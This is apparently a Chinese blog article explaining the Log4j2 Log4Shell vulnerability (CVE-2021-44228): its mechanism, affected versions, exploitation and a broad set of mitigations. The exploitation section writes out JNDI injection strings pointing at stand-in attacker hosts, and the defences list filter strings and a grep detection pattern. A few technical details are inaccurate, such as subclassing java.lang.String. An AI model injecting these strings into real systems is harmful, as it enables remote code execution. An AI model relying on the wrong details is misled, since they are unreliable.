前言
CVE-2021-44228是Apache Log4j2日志框架中一个远程代码执行(RCE)漏洞,因影响范围广、利用门槛低,曾引发全球安全警报。
一、漏洞原理
核心机制:JNDILookup与消息格式化
Log4j2支持通过
${}
占位符进行变量替换(Lookup) ,例如${java:version}
可获取Java版本信息。其中,JndiLookup
插件允许通过JNDI(Java命名和目录接口) 查询外部数据源(如LDAP、RMI、DNS等),语法为${jndi:protocol://host/resource}
。
漏洞触发逻辑
当应用记录包含恶意JNDI表达式 的日志时,Log4j2会解析
${}
内的内容,并通过JndiLookup
向指定协议(如LDAP)的服务器发起请求。若服务器返回一个指向恶意Java类 的JNDI引用(如LDAP服务返回的javaSerializedData
字段包含序列化后的恶意类路径),客户端(目标应用)会加载该类并执行其中的代码,最终实现远程代码执行。
影响版本
**主影响范围:**Log4j2 2.0-beta9 至 2.14.1
**扩展影响:**Log4j2 2.15.0(部分配置下可被绕过),需升级至2.16.0+(移除JNDILookup)或2.17.0+(修复其他潜在问题)。
二、利用方式
攻击者的核心目标是让目标应用记录包含恶意JNDI表达式的日志,从而触发漏洞。
1. 构造恶意输入
攻击者通过用户可控输入(如HTTP请求的Header、参数、Body等)注入恶意字符串。例如:
HTTP请求的
User-Agent
头设置为:${jndi:ldap://attacker.com/maliciousClass}
请求参数中包含:
username=${jndi:ldap://evil.com/exp}
当应用将该输入记录到日志(如
logger.info("User-Agent: {}", userAgent)
)时,Log4j2会解析${jndi:...}
表达式。2. 恶意LDAP/RMI服务器响应
攻击者需搭建一个恶意JNDI服务端(如LDAP服务器),响应客户端的请求并返回:
一个指向恶意Java类 的JNDI引用(如
java.lang.String
的子类,其readObject
方法包含恶意代码);或直接返回一个HTTP重定向 ,指向攻击者控制的服务器上的恶意类文件(通过javaSerializedData
字段实现)。客户端(目标应用)加载该类后,恶意代码(如反弹Shell、窃取数据等)会被执行。
3. 绕过与扩展利用
①协议扩展:除LDAP(389端口)外,也可利用RMI(1099端口)、DNS等其他协议(需目标应用支持)。
②版本绕过 :Log4j2 2.15.0虽默认禁用JNDILookup,但若配置
log4j2.enableThreadContextMapLookups=true
,仍可能被绕过(需升级至2.16.0+)。③依赖链攻击 :若应用依赖旧版Log4j1.x(通过
log4j-to-slf4j
等桥接库),可能通过兼容层触发漏洞(需全面检查依赖)。
三、防御方法
1. 升级Log4j2至安全版本
优先升级:直接升级至Log4j2 2.17.0+(2.16.0移除了JNDILookup,2.17.0修复了其他潜在问题)。
依赖检查 :通过
mvn dependency:tree
或gradle dependencies
检查项目依赖,确保所有模块均使用安全版本(包括间接依赖)。2. 临时缓解措施(无法升级时)
系统属性 :启动JVM时添加
-Dlog4j2.formatMsgNoLookups=true
,禁用消息格式化中的Lookup功能。配置禁用 :在
log4j2.xml
中配置<JndiLookup disabled="true"/>
(需Log4j2 2.10+支持)。输入过滤 :在应用入口(如Web服务器、WAF)过滤
${jndi:
、${lower:
等危险字符串(注意转义$
、{
等符号)。3. 网络层防护
出站限制:通过防火墙阻断应用服务器与外部LDAP(389)、RMI(1099)等端口的通信,防止连接到恶意JNDI服务器。
入侵检测 :监控网络流量中是否存在
jndi:
协议的请求,及时拦截异常出站连接。4. 应用层加固
代码审计 :审查代码中是否有不必要的日志记录用户输入(如直接将用户输入拼接到日志字符串中),减少攻击面。
最小权限:确保应用运行在低权限账户下,即使被执行代码,权限也受限。
5. 依赖与生态防护
清理旧依赖:移除项目中不必要的Log4j1.x依赖,避免通过桥接库触发兼容层漏洞。
工具扫描 :使用
grep -ir "jndi:ldap"
等命令扫描项目代码/配置,定位潜在风险点。
总结
CVE-2021-44228是Log4j2因JNDILookup插件设计缺陷导致的严重RCE漏洞,攻击门槛低、影响范围广。防御需以升级安全版本 为核心,结合输入过滤 、网络限制 、代码加固等手段,形成多层次防护。由于Java生态的复杂性,需全面检查项目依赖,避免因间接依赖或旧版兼容导致漏洞残留。
结语
熬过低谷
繁华自现
!!!
